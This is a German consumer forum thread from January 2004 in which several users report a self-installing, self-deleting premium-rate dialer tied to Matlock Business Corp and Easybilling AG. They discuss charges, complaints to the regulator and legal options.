# 090090000263 oder auch Matlock - ermitteln Sie (Teil 1)



## Anonymous (14 Januar 2004)

Hi

Ich hatte gerade eine sehr unerfreuliches Erlebnis. Ich besitze eine DSL Flatrate und zusätzlich ein Eumex 404PC welches an den Rechner angestöpselt ist. Beim surfen eben, giben plötzlich hunderte Popups auf, die ich gar nicht so schnell wegklicken könnte wie sie aufgetaucht sind. Eines davon lies sich nicht entfernen oder anschauen, das war nur in der Taskleiste zu sehen. Aus dem Augenwinkel hab ich dann gesehen, das das Symbol der Onlineverbindung verschwunden ist, und gleich wieder auftauchte. Ich hab dann die Verbindung sofort getrennt. Im log der Eumex hab ich nun folgende Nummer gefunden: 090090000263
Laut RegTP gehört die zu: Matlock Business Corp. Jasmine Court. 35A Regent Street. P.O. Box 1777. Belize City. Belize.

Ich habe daraufhin sofort YAW installiert und mit den neuesten Signaturen gescannt. Leider hat er nichts gefunden. Auch bei den Verbindungen wird nicht angezeigt. Ebensowenig in den Temp Internetfiles. Sprich das Teil hat sich selbst gelöscht, und das gründlich. Alles was ich habe ist das Log von der Eumex (was mir aber nicht viel bringt). Meine erste Frage jetzt: Kennt jemand diesen Anbieter ? Weiss jemand was da an Kosten auf mich zukommen ? Ich hab zwar wie gesagt die Verbindung schnell getrennt, aber es können ja hohe Einwahlkosten entstehen. Ich hab jetzt die Eumex abgeklemmt - Hinterher ist man ja immer schlauer. Ich finde es nur ne Frechheit das sich die Dinger auf diese Art und Weise installieren können. Wenn man das nichtmal mitbekommt (und ich bin KEIN Anfänger in Sachen Computer). Ich hätt ja nichts gesagt, wenn ich versehentlich bei nem Popup auf OK geklickt hätte. Aber das sich das Teil selbständig irgenwie im Hindergrund installiert, ist schon sehr suspekt.

Opfer


----------



## Anonymous (14 Januar 2004)

Nachtrag:
Ich habe gerade bei der RegTP einen lustigen Text gefunden:

Reg.-Nr.: 90090000263-734883 vom : Dec 9 2003 10:20AM 
Adressierungsmerkmal : 
Hash - Wert :a6479839ca0706fd538d957f6c778711 
Dateiname : Dialer_090090000263.exe 
Dialer - Version : 2.0.0.206  
Inhalteanbieter : Matlock Business Corp. Jasmine Court. 35A Regent Street. P.O. Box 1777. Belize City. Belize
Beschreibung:

Kunde kommt auf Webseite und muss die AGBs sowie die Preisauszeichnung bestaetigen. danach wird je nach Kundenrechner entweder per Script oder Applet eine web.exe herunter geladen. diese unterbricht die bestehende Verbindung und baut zu der kostenpflichtigen Rufnummer eine Verbindung auf. Wenn diese beendet wird. oder der Browser geschlossen wird. wird diese wieder getrennt und die web.exe wird vom Kundenrechner geloescht. Der Kunde kann dann ganz normal mit seiner normalen Internetverbindung weiter surfen.

Als Vertretungsberechtigten wurde angegeben:
......
Hauptsraße 4

24852 Eggebek


Toll oder ? Wie soll man beweisen das dem nicht so ist, wenn die Beweise verschwinden ? Und als Sample das Script ein bissel umschreiben, damit man der RegTP zeigen kann wie Kundenfreundlich doch der Dialer ist, ist wohl für jemanden der einen Dialer selber coden kann, das kleinste Problem. Jetzt bin ich mal gespannt was dabei rauskommt, ...............:argue: 

Opfer

_Name und rechtlich bedenkliche Äußerungen gelöscht , siehe NUB _


----------



## Anonymous (14 Januar 2004)

*090090000263*

Hi gast
is doch klar was dabei rauskommt - die telekom treibt die gebühren ein bis zur abschaltung deines anschlusses, gerichtsvollzieher , kontensperrung bei der bank u.s.w.
hatte 13.01.04 auch son spass mit selbiger nummer, isdn karte hinter telefonanlage, 0190-er gesperrt, war wohl nicht auf dem laufenden, sonst wäre die 0900 auch nicht möglich gewesen - hätte, wäre, wenn - 
der dialer hat sich installiert und schon sufte ich für teures geld, ich habs im isdn monitor gesehen und isdn leitung an der isdn karte gezogen, mich übelst geärgert und wollte meine telefonanlage programmieren - zu dumm, daß ich dazu die isdn leitung wieder reingesteckt habe,
denn während meiner anlagenprogrammierung (ca. 5 min) hat sich der bursche selbstständig gemacht und 6 mal obige nummer angewählt.
dies hab ich aber erst beim herunterladen der verbindungsdaten aus der telefonanlage entdeckt. nun ja, aus schaden wird man klug, muß jetzt mit ca. 210€ einwahlgebühren rechnen, glaube nicht, daß da ein widerspruch was hilft
bin für jeden tip dankbar
gruß otto


----------



## Anonymous (14 Januar 2004)

@Admin: Wieso wurde der Name geändert ? Der ist doch frei abrufbar über die RegTP ? Ich dachte eigentlich das vieleicht jemand schon Erfahrungen mit diesem Hernn gesammelt hatte. Naja, wenn jemand weiss um wen es geht, wird er denke ich den Namen auch selber kennen / finden.

Opfer


----------



## Heiko (14 Januar 2004)

Opfer schrieb:
			
		

> @Admin: Wieso wurde der Name geändert ? Der ist doch frei abrufbar über die RegTP ? Ich dachte eigentlich das vieleicht jemand schon Erfahrungen mit diesem Hernn gesammelt hatte. Naja, wenn jemand weiss um wen es geht, wird er denke ich den Namen auch selber kennen / finden.


Wenn er frei abrufbar ist, dann kann das ja auch jeder dort machen.
Hier im Forum haben wir uns darauf geeinigt, dass wir keine persönlichen Daten veröffentlichen wollen.


----------



## Anonymous (14 Januar 2004)

Opfer schrieb:
			
		

> ...Jetzt bin ich mal gespannt was dabei rauskommt,...


Unter dem Vorgang *Reg TP: A000 531* liegt dort bereits seit dem 26.09.2003 eine Beschwerde von mir vor. Damals wurde mit der "*web.exe*" die Nummer der Easybilling AG in Eggebek *01908337241* verwendet.
Seit Dezember 2003 werden nun mit dem gleichen Anwendungsprogramm 09009er Nummern verwendet. Die Beschreibung des Dialers ist alles andere als registrierungsfähig, da die Mindestanforderungen nicht erfüllt sind.

In einer Mail vom 03.12.2003 wurde mir mitgeteilt, dass die Easybilling AG am 04. und 27.11.03 zwei Anträge zur Registrierung vorgelegt hatte, die beide nicht registrierungsfähig waren.

Das von mir im September geprüfte Einwahlprogramm unter http://www.xx*-ga**.***/galleries/dft/DE241/ wurde von Meschede aus so bewertet: 





			
				RegTP schrieb:
			
		

> Die Mindestanforderungen nach dem Gesetz zur Bekämpfung des Missbrauchs von (o) 190er/ (0) 900er Mehrwertdiensterufnummern" werden nicht eingehalten. Das von ihnen geprüfte Verhalten des Wählprogrammes kann ich bestätigen..."



Jetzt fragt sich nur, wie die Dialeranwendung von Matlock mit einer telefonischen Erklärung des GF  in Eggebeck zu verstehen sind, der voll hinter seinem Kunden steht und die Anwendung zum einen billigt und andererseits sogar als angeblich rechtmäßig befürwortet. Hinzu kommt das Kontrollsystem der RegTP - wieviele Anwendungen werden eigentlich noch registriert, die den Mindestanforderungen nicht entsprechen und demzufolge überhaupt nicht registrierungsfähig sind?

In diesem Zusammenhang freue ich mich schon auf meinen Besuch in Bonn, am 12.02.03. :-?


----------



## Anonymous (14 Januar 2004)

Ok, ich hab jetzt mal meinen Rechner genauer unter die Lupe genommen und hab das Ereigniss Protokoll gefunden. Die Verbindung bestand exakt 13 Sekunden lang. Ich paste es mal hier, vieleicht kann ja jemand etwas damit anfangen:

13.01.2004 23:50:11 Der Benutzer "uni-zo-iPuhxo" hat eine Verbindung mit "Relax_C" hergestellt, unter Verwendung des Geräts "DETEWECP1".

13.01.2004 23:50:24 Die Verbindung mit "Relax_C", hergestellt durch den Benutzer "uni-zo-iPuhxo" unter Verwendung des Geräts "DETEWECP1", wurde getrennt. 

Dazu hab ich eingetlich nur zwei Anmerkungen:

1. Benutzer uni-zo-iPuhxo ? Wer soll denn das sein ?
2. Relax_C ? Ich bin alles andere als relaxed 

Ich habe auch versucht mit diversen Tools gelöschte Daten wieder herzustellen (den Dialer) aber leider war weder eine "web.exe" noch die bei der angegebene "Dialer_090090000263.exe" auf meinem Rechner. Genau gesagt war überhaupt gar keine verdächtige .exe auf meinem Rechner. Äusserst dubios das ganze. Ich versuche mich mal weiter schlau zu machen. Wenn noch jemand irgend etwas zu diesem Dialer weiss oder zu ähnlichen, bitte schreiben, thx.

Opfer


----------



## Fidul (14 Januar 2004)

*Re: 090090000263*



			
				otto schrieb:
			
		

> is doch klar was dabei rauskommt - die telekom treibt die gebühren ein bis zur abschaltung deines anschlusses, gerichtsvollzieher , kontensperrung bei der bank u.s.w.


Sorry, aber was ist denn das für ein Schwachfug?


----------



## technofreak (14 Januar 2004)

*Re: 090090000263*



			
				Fidul schrieb:
			
		

> Sorry, aber was ist denn das für ein Schwachfug?



Es ist immer wieder auffällig, daß diese etwas merkwürdigen Aussagen von nicht angemeldeten 
kommen, ich vermeide bewußt den Ausdruck "Gast" . Obwohl angeblich ein erheblicher Schaden 
entstanden ist, ist der Vorgang anscheinend nicht so bedeutend, daß die kleine "Mühe" der 
Anmeldung auf sich genommen wird. 

Als Panikverbreitung sind aber solche anonymen Beiträge immer gut geeignet

tf


----------



## Teleton (14 Januar 2004)

*Re: 090090000263*



			
				otto schrieb:
			
		

> is doch klar was dabei rauskommt - die telekom treibt die gebühren ein bis zur abschaltung deines anschlusses, gerichtsvollzieher , kontensperrung bei der bank u.s.w.


Genau, Unsinn.
Der Gerichtvollzieher kommt erst wenn er ein Urteil oder nen rechtskräftigen Vollstreckungsbescheid in der Hand hält. Dazu muss die Gegenseite den Prozess erstmal führen und gewinnen oder ein gerichtliches Mahnverfahren ohne Widerspruch bleiben.

Gruss
Teleton


----------



## Anonymous (14 Januar 2004)

Wieder ich 

Mir ist gerade etwas interesantes aufgefallen (keine Ahnung warum ich das übersehen habe). Bei der RegTP steht vor der Suchanfrage folgendes:

Hinweis: Die unter einer (0)190-/(0)900-Rufnummer vor dem 14.12.2003 registrierten Dialer sind weiterhin in der Datenbank enthalten, dürfen jedoch nicht mehr eingesetzt werden. Nach Rechtsauffassung der RegTP besteht daher auch kein Zahlungsanspruch für nach dem 14.12.2003 hergestellte Verbindungen. 

Nun ist unter der Rufnummer 090090000263 die ja bei mir gewählt wurde einmal als Reg Datum der Dec 9 2003 10:20AM und einmal Dec 17 2003 1:33PM. Damit fällt ja einer schonmal weg. Nun habe ich ja keine Möglichkeit zu prüfen welche Version bei mir drauf war (da sich das Teil ja selbstständig löscht). Wie verhält sich das jetzt ? Müssen die Jungs jetzt nicht Beweis antreten, das der neue Dialer bei mir war ? Oder wie ist das ?

Opfer


----------



## KatzenHai (14 Januar 2004)

*Re: 090090000263*



			
				otto schrieb:
			
		

> Hi gast
> is doch klar was dabei rauskommt - die telekom treibt die gebühren ein bis zur abschaltung deines anschlusses, gerichtsvollzieher , kontensperrung bei der bank u.s.w.



Komisch. In meinem Rechtssystem funktioniert das anders. Wie Teleton schon sagte: Schwachfug!



			
				otto schrieb:
			
		

> hatte 13.01.04 auch son spass mit selbiger nummer, isdn karte hinter telefonanlage, 0190-er gesperrt, war wohl nicht auf dem laufenden, sonst wäre die 0900 auch nicht möglich gewesen - hätte, wäre, wenn -
> der dialer hat sich installiert und schon sufte ich für teures geld, ich habs im isdn monitor gesehen und isdn leitung an der isdn karte gezogen, mich übelst geärgert und wollte meine telefonanlage programmieren - zu dumm, daß ich dazu die isdn leitung wieder reingesteckt habe,
> denn während meiner anlagenprogrammierung (ca. 5 min) hat sich der bursche selbstständig gemacht und 6 mal obige nummer angewählt.
> dies hab ich aber erst beim herunterladen der verbindungsdaten aus der telefonanlage entdeckt. nun ja, aus schaden wird man klug, muß jetzt mit ca. 210€ einwahlgebühren rechnen, glaube nicht, daß da ein widerspruch was hilft
> ...



Meine Tipps:
a) Wenn man keine Ahnung hat, einfach mal die Fresse halten! (D. Nuhr)
b) Suche dir einen guten Anwalt - *du* brauchst ihn!
c) Das gilt nur übrigens wegen des Schwachfugs und der Vermutung, dass hier ein beratungsresistenter Besserwisser-Mandant herum läuft - die materielle Rechtslage ist nämlich gar nicht so schlimm, wie "Otto" schreibt.
d) Anmelden!


----------



## Opfer (14 Januar 2004)

So, hab mich nur noch eben schnell angemeldet. Und plz nicht zu arg Offtopic werden, ich hab jetzt schon Probleme den Überblick zu behalten 

Edit: Mir lässt es keine Ruhe  Deshalb hab ich ein bissel nachgedacht, und recherchiert. Es war ja bei mir so, das sich der Dialer absolut selbständig installiert hat (also ohne das ich irgendwas angeklickt hatte). Streng genommen, ist das doch ein Verstoss gegen § 263a StGB oder nicht ? Also kann man die doch, unabhängig von deren Forderungen verklagen oder nicht ?

Opfer


----------



## sascha (14 Januar 2004)

> Also kann man die doch, unabhängig von deren Forderungen verklagen oder nicht ?



Um die Verwirrung zu vervollständigen: "Verklagen" kannst Du die nicht wegen Computerbetrugs. Aber Du kannst bei Verdacht auf eine Straftat Strafanzeige bei Polizei oder Staatsanwaltschaft erstatten.


----------



## Anonymous (14 Januar 2004)

Opfer schrieb:
			
		

> Streng genommen, ist das doch ein Verstoss gegen § 263a StGB oder nicht ? Also kann man die doch, unabhängig von deren Forderungen verklagen oder nicht?


Bei der Gelegenheit verweise ich gerne auf Katzenhai´s Tipps, insbesondere a) und b)!

Wie die Verbindung zustande gekommen ist, muss erst noch geprüft werden. Dazu steht es Dir selbstverständlich frei, eine Anzeige mit den erfordlichen Beweisen bei Deiner örtlich zuständigen Polizei zu erstatten. Mal eben zu behaupten, dass ein Vertoss vorliegen würde, ist rein Deine subjektive Ansicht des Sachverhalts - das muss erst noch bewiesen werden. Übrigens - wenn jemand seinen PC so eindringlich nach Beweisen untersucht hat, wie Du, dann hat derjenige i. d. R. bereits Veränderungen an der Dateienstruktur vorgenommen. Somit ist dieser PC als gerichtverwertbarer Beweis zumeist nicht mehr brauchbar und die Anzeige sollte von vornherein zu Einstellung verdammt sein.
Berufe Dich auf Deine bisherigen Erkenntnisse und nimm die Datenbank der RegTP als Deine stärkste Waffe gegen den evtl. unberechtigen Zahlungsanspruch. Ziehe Deinen Widerspruch zivilrechtlich durch.


----------



## Opfer (14 Januar 2004)

Naja, da aber laut dem RegTP Text bakannt ist, das sich der Dialer selber löscht, kann ich ja gar nix beweisen. Es ist von vornherein klar, das sich die Beweismittel in Luft auflösen, sobald die Verbindung steht.
Was meiner Meinung nach auch noch wichtig ist: Bei 13 Sekunden Dauer kann mir ja wohl kaum eine Absicht vorgeworfen werden ? Ich meine, mal angenommen es gibt wirklich jemand der Absichtlich über einen Dialer online geht (wobei mir einfällt das ich nichtmal weiss, was mit der tolle Relax_C überhaupt bieten wollte), dann wird derjenige doch bestimmt nicht nur 13 Sekunden lang online gehen. Ich brauch ja schon bestimmt 3- 5 Sekunden um mit der Maus auf das Verbindungssymbol zu fahren und dann die Verbindung zu trennen. Ich bin echt mal gespannt, was dabei rauskommt und ob das schon auf der nächsten Abrechnung drauf steht. Ein komisches Gefühl hab ich allerdings schon 

Gruss
Opfer


----------



## Opfer (15 Januar 2004)

Öhm...ich muss mich mal eben ein klein wenig korrigieren:
Die Wirkungsweise die ich gepostet habe, bezog sich auf den Dialer mit dem Reg. Datum vom 09.12.2003 - also dieser ist ja eh nicht mehr zulässig. Die Wirkungsweise des anderen (von der RegTP "zertifierten" Dialers) wird da so beschrieben:

Kunde kommt auf Webseite die genauso aussieht wie der Dialer. Anschliessend muss er den Bezug sowie die Aktivierung jeweils mittels Eingabe des Wortes JA bestaetitgen. Danach wird je nach Kundenrechner entweder per Script oder Applet der Dialer herunter geladen. Wenn dieser die Verbindung aufbauen soll. muss der Kunde das nocheinmal ausdruecklich mit der Eingabe von JA bestaetigen. Danach unterbricht dieser die bestehende Verbindung und baut zu der kostenpflichtigen Rufnummer eine Verbindung auf.

Davon stimmt nicht, ausser das die Verbindung getrennt wird, und die neue Verbindung hergestellt wird. Also ich hab definitiv nirgendwo "JA" eingegeben (is auch schwer gleichzeitig Popups zuzumachen und was zu schreiben ). Ergo wäre dann ja wohl klar, das ich dem alten Dialer (oder einer der RegTP nicht gemeldeten) Abart zum Opfer gefallen bin.
Korrigiert mich bitte, wenn ich falsch liege. Achso, als Registrierungsverpflichteten wird im Übrigen die Easybilling AG angegeben.
Ansonsten hoffe ich auf "In dubio pro reo"  :holy: 

Gruss
Opfer


----------



## Anonymous (15 Januar 2004)

Opfer schrieb:
			
		

> Ansonsten hoffe ich auf "In dubio pro reo"  :holy:


...und ich auf Moritz! :lol:  :lol:  :lol:  :lol:


----------



## Anonymous (17 Januar 2004)

wenn's jemanden hier interessiert:

ich hatte gestern genau die gleich unerfreuliche begegnung mit genau diesem dialer! er hat sich ohne mein wissen im hintergrund installiert und dann eine verbindung aufgebaut (habe ebenfalls dsl und ein isdn-modem).


----------



## Anonymous (17 Januar 2004)

Opfer schrieb:
			
		

> Was meiner Meinung nach auch noch wichtig ist: Bei 13 Sekunden Dauer kann mir ja wohl kaum eine Absicht vorgeworfen werden ? Ich meine, mal angenommen es gibt wirklich jemand der Absichtlich über einen Dialer online geht (wobei mir einfällt das ich nichtmal weiss, was mit der tolle Relax_C überhaupt bieten wollte), dann wird derjenige doch bestimmt nicht nur 13 Sekunden lang online gehen. Ich brauch ja schon bestimmt 3- 5 Sekunden um mit der Maus auf das Verbindungssymbol zu fahren und dann die Verbindung zu trennen. Ich bin echt mal gespannt, was dabei rauskommt und ob das schon auf der nächsten Abrechnung drauf steht. Ein komisches Gefühl hab ich allerdings schon
> 
> Gruss
> Opfer



Da muss ich Dich teilweise enttäuschen... Mein Neffe hat sich angeblich in ein Pornonetzwerk eingewählt, für über 10 Euro pro Minute. Als ich den Anbieter darauf ansprach, dass es ja Unsinn sein, sich so teuer einzuwählen ohne irgendeinen Content abzurufen, verwies er mich auf seine FAQ-Seite und meinte lapidar:

"Die Nutzung des Angebots steht im Ermessen des Benutzers"

Hier der Auszug aus der FAQ (internet-clearing)

Ich war weniger als 1 Stunde mit dem Server verbunden. Warum werden die vollen Kosten berechnet?
Wie bereits in Frage 1 beschrieben, handelt es sich um eine Flatrate. Sie erkaufen einen zeitbeschränkten Zugang zum kostenpflichtigen Angebot. Sollten Sie diese Zeit nicht ausnutzen, wird trotzdem der komplette Betrag berechnet. Vergleichen Sie es mit einer Monatsflatrate der Telekom für DSL. Auch wenn Sie nicht den ganzen Monat online sind, müssen Sie trotzdem den vollen Betrag zahlen!


Ob das rechtlich ok ist, weiß ich nicht - ich fürchte aber, ja...

Aber zum Trost: Zivilrechtlich hast Du, denke ich, nicht soooo schlechte Karten, unabhängig von der womöglichen Bedeutungslosigkeit Deiner Argumentation. Richter sind ja schließlich auch Menschen und der gesunde Menschenverstand sollte bei einer evtl. Rechtsprechung durchaus eine Rolle spielen...


----------



## Opfer (17 Januar 2004)

> wenn's jemanden hier interessiert:
> 
> ich hatte gestern genau die gleich unerfreuliche begegnung mit genau diesem dialer! er hat sich ohne mein wissen im hintergrund installiert und dann eine verbindung aufgebaut (habe ebenfalls dsl und ein isdn-modem).



Kannst du noch reproduzieren wo das war ? Dann würde ich das Teil nämlich mal mit einem isolierten Rechner aufrufen, und könnet ihn dann unter Umständen sichern (inklusive der Scripts welche das unbemerkte installieren auslösen).



> Als ich den Anbieter darauf ansprach, dass es ja Unsinn sein, sich so teuer einzuwählen ohne irgendeinen Content abzurufen, verwies er mich auf seine FAQ-Seite



Das ist sehr schön. Allerdings war mir der Anbieter ja erst nach den Recherchen überhaupt bekannt, da sich der Dialer ja unbemerkt (bis zur Internettrennung) installiert hatte. Ergo kann ich ja überhaupt keine FAQ vorher lesen. Abgesehen davon das mich eine FAQ überhaupt nicht interessiert da ich ja zu keiner Zeit beabsichtigt hatte dieses "Angebot" zu nutzen geschweige denn mir überhaupt einen Dialer einzufangen. Also kann der Anbieter soviel erzählen wie er will.

Opfer


----------



## nemo (17 Januar 2004)

@Opfer: hast eine pn.


----------



## Opfer (17 Januar 2004)

@nemo: Danke. Ich werde jetzt mal mit einem andren Rechner das ganze prüfen. Sobald ich etwas neues weiss, gebe ich dir per PN Bescheid.

Opfer


----------



## Anonymous (18 Januar 2004)

*Relax_C*

Ich bin ebenfalls Opfer von Relax_C geworden. Am 16. Jan 04 öffnete sich ein Popup Fenster bei mir. Es wurde angekündigt, dass ich in wenigen Sekunden auf "Mitgliederseite" weitergeleitet werde. Ich habe gemerkt, dass etwas nicht stimmt. Ein Blick auf mein GMX Internet Manager hat gezeigt, dass eine Fremdverbindung aufgebaut ist. Sofort habe ich die Verbindung abgetrennt. Später habe ich auf meinem DSL Speed Manager eine Verbindung mit Relax_C für 6 Sekunden feststellen müssen. 
Mehr weiss ich bisher nicht. Ich habe die Installation von keinem Programm zugestimmt. Beim Öffnen eines Popup-Fenster wurde bei mir eine Fremdverbindung aufgebaut! Ist das überhaupt möglich?


----------



## Opfer (18 Januar 2004)

Hi Ja, das ist ohne weiteres möglich (siehe auch http://forum.computerbetrug.de/viewtopic.php?t=3710&sid=adb126fcbcdcfc014fff0e957807bf43)

Melde dich mal bitte hier im Forum an, und schicke mir den Link, von welchem aus bei dir das Popup kam (bin grad am sammeln )

Opfer


----------



## Anonymous (19 Januar 2004)

*Relax_C*

Ich bin kein Computerprofi. Ich weiss nich, ob ich nachträglich dies feststellen kann. Ich war auf der Suche nach einer Freeware Software. Auf verschiedene Ergebnisse in Google habe ich geklickt. Bei einem Link öffnete sich zuerst ein Fenster. Im selben Moment öffnete sich ein neues Fenster oder ich wurde weitergeleitet (das weis ich nicht). Ich habe nur registiert das ein "Countdown" begann zu laufen. Ich sollte in wenigen Sekunden in den Mitgliederbereich weitergeleitet werden. Das ganze dauerte 6 Sekunden bis ich die Verbindung unterbrach.


----------



## Ernst-Helmut (22 Januar 2004)

Und noch ein Opfer...
Alles höxt interessant! Gestern bin ich auch da reingerutscht: über DSL online gewesen und unbemerkt (und natürlich ungewollt) über ISDN verbunden worden. Ich dachte mir erst nichts böses und fühlte mich sicher, da meine Firewall mir mitteilte "Scriptalarm!" und fragte, ob ich ActiveX von soundso zulassen wollte, was ich verneinte. Erst, als ich mich wunderte, warum die besuchten Sites sich so langsam aufbauten, bemerkte ich, dass ich über ISDN verbunden war.  :evil:  Seit über 17 min.  :evil:  Irgendwelche Dialogboxen zum Dialer sind garnicht erst erschienen, aber netterweise scheint er sich ja komfortabel selbst zu beantworten.
Was folgte, waren die im Forum beschriebenen Vorgänge: zunächst fand ich noch die Dialer-Datei web.exe von Matlock, die sich jedoch alsbald ins Nirwana verabschiedete...

2 Fragen:
> Hätte eine 0190/0900er Sperre (die ich jetzt erst im Nachhinein beantragt habe) den Dialer blockiert?
> Kann jemand die Kosten abschätzen, die für die Verbindung auf mich zukommen (denen ich aber bei Netzbetreiber Telekom widersprechen werde)?

Dank an Euch für Antworten und die schon reichhaltig gelisteten Infos!
Ernst-Helmut


----------



## Anonymous (23 Januar 2004)

*Ich bin auch ein Opfer*

Am 13.01.2004 wurde auch ich Opfer des Dialers web.exe, jeoch unter der Nummer 090090000422 (Easy Billing AG, Betreiber Matlock). Innerhalb von 3 Minuten hat sich das Programm selbtstaendig und ohne Zustimmung 10x eingewählt, wobei eine Verbindung ca. 11 Sekunden lang gehalten wurde. Nach Recherche kommt nun eine Zahlung von über 300,- Euro auf mich zu, der ich natürlich widersprechen werde.  Nach Auskunft meines Rechtsanwaltes steht der Betreiber in der Beweispflicht, dass ich die Verbindung auch wirklich haben wollte. Na mal schauen...


----------



## Anonymous (23 Januar 2004)

Ernst-Helmut schrieb:
			
		

> > Hätte eine 0190/0900er Sperre (die ich jetzt erst im Nachhinein beantragt habe) den Dialer blockiert?


Ja!


----------



## Anonymous (23 Januar 2004)

anna schrieb:
			
		

> Ernst-Helmut schrieb:
> 
> 
> 
> ...



Reicht es ebenso in jedem Fall aus - bis die Sperre von Telekom geschaltet sein wird - ganz primitiv in der Systemsteuerung die ISDN-Karte zu deaktivieren, oder könnte ein Dialer die Karte wieder ganz nebenbei aktivieren?
Wäre doch ein nettes Gefühl der Sicherheit, nur zum Faxen die Karte in den aktiven Zustand zu setzen, oder bin ich da auf 1 Holzweg?

ernhel


----------



## technofreak (23 Januar 2004)

Anonymous schrieb:
			
		

> Wäre doch ein nettes Gefühl der Sicherheit, nur zum Faxen die Karte in den
> aktiven Zustand zu setzen, oder bin ich da auf 1 Holzweg?



das dürfte wesentlich unbequemer und unsicherer sein als den  ganz schlichten Weg zu beschreiten: 
Stecker ziehen...

tf


----------



## Anonymous (24 Januar 2004)

*p.exe*

Hallo!

Das neuste von Easybilling AG ist der ExDialer, der 1.) Bestehende Verbindung trennt und eine neue anwählt 09009... 2.) Änderungen in der Registry vornimt. 3.)sich anschließend selber löscht. 4.) Sich selbstständig selber einwählt. Und das für €30 pro einwahl. Das kann nicht Gesetzeskonform sein.

Gruß, 
TGI


----------



## Anonymous (27 Januar 2004)

*Easy Billing AG und ExDialer*

Bist du sicher, dass der Dialer von Easy Billing entwickelt wurde? Ich erwäge, Strafanzeige wegen Betruges zu stellen. Zwar hat der Hersteller von Dialern per se keinen Einfluss auf dessen widerrechtlichen Einsatz auf Websites seiner Kunden. In diesem Fall aber ist die Funktionsweise des Programmes bereits in der Entwicklung so perfide angelegt, dass seinem Hersteller ein betrügerischer Vorsatz unterstellt werden muss. Woher stammt die Information, dass die Einwahl 30 € kostet? Vermutest du das aufgrund der Gesetzeslage oder gibt es dafür eine Quelle im Netz? Denkbar ist ja beispielsweise auch, dass keine Drop-Charge-, sondern eine taktierte Tarifierung erfolgt, wobei die Preisgetaltung ohnehin den Verwendern der Dialer-Programme anheim gestellt sein dürfte.
Ich würde mich über eine Antwort freuen.

Gruß
Frank


----------



## otto (27 Januar 2004)

*schwachfug otto vom 14.01.*

hi allesamt, hier bin ich wieder, 
hatte am 13.1. das erstemal mit sowas zu tun, hab ich ja auch gesagt.
Vielen Dank für katzenHai`s hilfe ( nach Fidul und technofreak, und Teleton nicht zu vergessen)
hab mittlerweile sehr viele postings in vielen Foren gelesen,
nochmal sorry des schwachfugs, bin ich mir jetzt bewußt,
hab punkt d: gleich am 14.1.erledigt / punkt a: stimme ich jetzt natürlich zu /punkt b eventuell / punkt c : würde ich als Pkt. b/1 bezeichnen

die telekom rechnung habe ich heute erhalten:
zur info: meine 4 minuten am 13.01.2004 haben mich 7x25,8190€ = 180,73 € gekostet. Und das NETTO !

is auch eine antwort an frank

bräuchte bissl hilfe für den wortlaut einer beschwerde bei der RegTP
gruss otto


----------



## sascha (27 Januar 2004)

Beschwerdeblatt für die Reg TP liegt standartisiert vor:

http://www.dialerschutz.de/home/Fbl.Kundenbeschwerde.pdf


----------



## otto (27 Januar 2004)

schön dank sascha

gruß otto   
 :wave:


----------



## Anonymous (29 Januar 2004)

Hallo,

auch ich bin Opfer der Easybilling AG.

meine Dialereinwahlnummer 090090000262. Verbindungsdauer 13 sekunden, Kosten 25,8€.

Ich habe DSL und garantiert keine bewußte Zustimmung zum Dialer gegeben. Ich weiss leider gar nicht, welche Seite im WWW zu dem Dialer gehört. Wie kann ich herausfinden, welche Seite ich aufgerufen haben soll?

Gruß

Christian


----------



## Anonymous (29 Januar 2004)

Übrigens habe ich 

1. Einspruch bei der Telekom erhobe
2. der Telekom gegenüber angefochten und widerrufen
3. Einzugsermächtigung widerrufen
4. Beschwerde bei der RegTP eingelegt
5. Gegenüber Easybilling angefochten und widerrufen
6. überlege ich auch noch Strafanziege zu erstatten


----------



## Anonymous (29 Januar 2004)

*Dialermissbrauch*

Hallo Gemeinde,
so wie ich das sehe sind wir jetzt genug Geschädigte, um einen Verein zu gründen . Auch mich hat es am 20.01.04 erwischt und ich kann mir noch nicht erklären, auf welcher Seite ich mir den Dialer eingefangen habe. Die Verbindung dauerte auch nur 14 sec. und kostet € 25,81.
Wenn das so weiter geht, sieht mir das bald nach einer Sammelklage aus. Besteht die Möglichkeit gemeinsam was zu erreichen??


----------



## technofreak (29 Januar 2004)

*Re: Dialermissbrauch*



			
				Gast schrieb:
			
		

> Wenn das so weiter geht, sieht mir das bald nach einer Sammelklage aus.



*Nein, in Deutschland gibt es keine  Sammelklage:*
http://forum.computerbetrug.de/viewtopic.php?t=1474

Bitte nicht zum hundersten Mal diese Diskussion darüber lostreten, erst den Thread lesen dann weiterposten

tf


----------



## Anonymous (29 Januar 2004)

Hallo,
sorry, die Info muss ich beim lesen wohl übersehen haben.


----------



## Anonymous (29 Januar 2004)

*willkommen im club*

na eure site hätte ich mal eher finden sollen. 

habe gerade ein paar minuten recherche hinter mir. 
was ich suchte? eine ominöse firma in belize und einen dialer aus eggebek. warum? weil ich 25 sec. mit einem dialer unterwegs war, den ich nicht bestätigt habe. ergebnis: 29 euro und ein bischen brutto. 

erster schritt:
morgen wird der betrag bei der telekom reklamiert. aussage der telekom ist, daß bei einem widerspruch der betrag erstmal 30 tage zurückgehalten wird. in dieser zeit versucht die telekom zu klären, ob der betrag rechtens ist. 
zweiter schritt:
info via mail an regulierungsbehörde
dritter schritt:
fax an fa. easybilling bzgl. geschäftspraxis mit info, daß mein rechtsanwalt mit klärung der rechtmäßigkeit beauftragt wurde (wozu hat man ne rechtsschutz *g)

info gibts, sobald es an irgendeiner front ergebnisse gibt.


----------



## Anonymous (29 Januar 2004)

*Re: willkommen im club*



			
				Schatzhauser schrieb:
			
		

> ...zweiter schritt:
> info via mail an regulierungsbehörde


Nicht Info - besser eine Beschwerde!
Easy Billing stehen erste Sanktionen ins Haus - jede weitere Beschwerde erhöht das Versendetempo der RegTP.

Freundliche Grüße nach Eggebek! :lol:


----------



## Anonymous (30 Januar 2004)

habe mal ein wenig die Reihenfolge geändert. Der Anruf bei der Regulierungsbehörde war sehr angenehm, die Herren auch sehr interessiert. Wollen sich angeblich drum kümmern.  ))


----------



## Anonymous (30 Januar 2004)

na das ging ja schnell   

der rückruf der regulierungsbehörde war sehr aufbauend. keine screenshots, kein abgespeicherter dialer, kein beweis. ich weiß, ich erzähl euch da nichts neues.

und der anwalt sagt: zahl, die chancen sind gleich null.

die regulierungsbehörde ist zwar mittlerweile aktiv, ist auch frohen mutes, den anbieter und entsprechende dialer zu sperren, aber das wird dauern und wenn ich ehrlich sein soll, wird das vermutlich genauso enden wie die aktion eines zahnlosen tigers.   

es sei denn, es jemand die oben aufgezählten dinge.

